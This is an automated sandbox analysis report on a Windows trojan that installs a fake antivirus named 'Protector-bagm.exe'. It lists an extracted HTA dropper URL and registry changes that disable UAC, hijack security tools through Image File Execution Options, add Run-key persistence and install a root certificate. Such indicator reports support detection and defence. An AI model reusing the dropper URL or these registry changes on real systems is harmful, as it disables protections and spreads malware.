0a662bd665b49469f488d81912ae84a7a2506e32a89390134cb0f934b4b57361

Analysis

max time kernel
150s
max time network
145s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
13-08-2024 13:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

9334dbb61d19ac21c8f10bcda409a0d0_JaffaCakes118.exe
Size

2.0MB
MD5

9334dbb61d19ac21c8f10bcda409a0d0
SHA1

0a6bab38061f1681bdc259690699ffc284970648
SHA256

0a662bd665b49469f488d81912ae84a7a2506e32a89390134cb0f934b4b57361
SHA512

140da6648af9606443db039a0e976fbe327495c665c64c6c35f617c8fcaf7d34e9becc1c3dcbdb5b377811d66959b5c407b749b136597529f406aebc712e2422
SSDEEP

49152:DgqdwTzUCSaogJDhTp7iK7VwgwV64rnB/FFc2ORZRO5b2BHzv:DPwTzX7JDhtFCgcrn5A2gRqb2Nzv

Score

10^/10

defense_evasion discovery evasion execution persistence trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://galaint.coolsecupdate.info/?0=154&1=1&2=1&3=38&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=yrsuonxdwn&14=1

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-bagm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Protector-bagm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	Protector-bagm.exe

Disables taskbar notifications via registry modification
evasion

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vnlan300.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\~1.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\d.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsaa.exe	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netd32.exe	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lordpe.exe	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msdm.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\advxdwin.exe	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgscanx.exe	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\evpn.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vettray.exe	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vsstat.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avkservice.exe	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\signcheck.exe	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\trojantrap3.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VisthUpd.exe	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cssupdat.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gav.exe	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\guardgui.exe	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kerio-wrl-421-en-win.exe	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nvarch16.exe	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vet95.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\belt.exe	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bvt.exe	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fameh32.exe	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\purge.exe	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rtvscn95.exe	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Secure Veteran.exe	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MalwareRemoval.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\navnt.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nt.exe	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vscenu6.02d30.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDInProcPatch.exe	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ODSW.exe	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ray.exe	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\securitysoldier.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgserv9.exe	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jdbgmrg.exe	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mslaugh.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpf9x206.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hwpe.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srexe.exe	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svc.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\atwatch.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\control\Debugger = "svchost.exe"	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smart.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jedi.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows.exe	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wininetd.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nupgrade.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autodown.exe	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\expert.exe	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gmt.exe	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\drwatson.exe	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\neowatchlog.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netutils.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SaveKeep.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srng.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avciman.exe	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bipcp.exe	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccpxysvc.exe	Protector-bagm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system32.exe\Debugger = "svchost.exe"	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ntxconfig.exe	Protector-bagm.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
2684	518c95wwvsa0z33.exe
2096	i9xx8q07h5z9553.exe
2748	Protector-bagm.exe

Loads dropped DLL 7 IoCs

pid	Process
2368	9334dbb61d19ac21c8f10bcda409a0d0_JaffaCakes118.exe
2684	518c95wwvsa0z33.exe
2684	518c95wwvsa0z33.exe
2096	i9xx8q07h5z9553.exe
2096	i9xx8q07h5z9553.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Windows\CurrentVersion\Run\Inspector = "C:\\Users\\Admin\\AppData\\Roaming\\Protector-bagm.exe"	Protector-bagm.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-bagm.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\diskmgmt.msc	Protector-bagm.exe
File opened for modification	C:\Windows\SysWOW64\services.msc	Protector-bagm.exe
File opened for modification	C:\Windows\SysWOW64\eventvwr.msc	Protector-bagm.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1248	sc.exe
1696	sc.exe
1216	sc.exe
796	sc.exe
1904	sc.exe
2548	sc.exe
1848	sc.exe
1576	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	518c95wwvsa0z33.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i9xx8q07h5z9553.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Protector-bagm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9334dbb61d19ac21c8f10bcda409a0d0_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe

Modifies Internet Explorer settings 1 TTPs 37 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 9002ce0c82edda01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312\iexplore.exe = "1"	Protector-bagm.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000082ebb0b9d6f3f0458e93e15bd38f268f00000000020000000000106600000001000020000000231b6db93831a450218f0bd879ba485230d610f6adce2ff8e300dcda0de81a3d000000000e80000000020000200000007ffb34d2585b7ce65d067ad108ebebae27ca03828dd8635d8395cf15307ceff7200000002b9f1fc717eba33afe3031540192463e8823886755b2bc1de698b0d052ef7d724000000041285012f241ead71be6ebeacb9ea972e306cafc45d22eb26ef7c1df9157d76a87216d6a14300028d24a490266ccbe62a13f7be791cb27a4386e55dff53b53ff	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000082ebb0b9d6f3f0458e93e15bd38f268f000000000200000000001066000000010000200000008dc8138af8f4d450356f6aede9ffa4cdd778e7a189480f36b13fc550a12177e4000000000e8000000002000020000000187f354d590fbb96a0e76e9166fe14a5f7c05f3685961291ad3946c9af1ee197900000001bf68a2e928d00ec495530f61af9ba017e13adcc1c57f0df831c798c22af86f0e8bc200d95056de544121db5225bb79928804970b767a979eca83215aea80f9b92f1248ace8817f919fc081936368c3c1d7dbfb4682f4e3de6f7460e3fc875937d0d305b186605eb79857462fdf22085795161afad4180b6f8e7f226f57fbfbbc35a614e5a7740a0e090576a70e00bb140000000b5e52b6abdb7a08303bbe9a8448a26929c462992ce3abf62b6a31cf8398c53b8afa3da5583678783ef0d5d493b121770bfe9d894a0a348b5a0d334cf5a58f24f	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Main	Protector-bagm.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{3858E3D1-5975-11EF-9637-66F7CEAD1BEF} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "429716414"	iexplore.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312	Protector-bagm.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	Protector-bagm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	Protector-bagm.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2096	i9xx8q07h5z9553.exe
Token: SeShutdownPrivilege	2096	i9xx8q07h5z9553.exe
Token: SeDebugPrivilege	2748	Protector-bagm.exe
Token: SeShutdownPrivilege	2748	Protector-bagm.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
1016	iexplore.exe

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe
2748	Protector-bagm.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
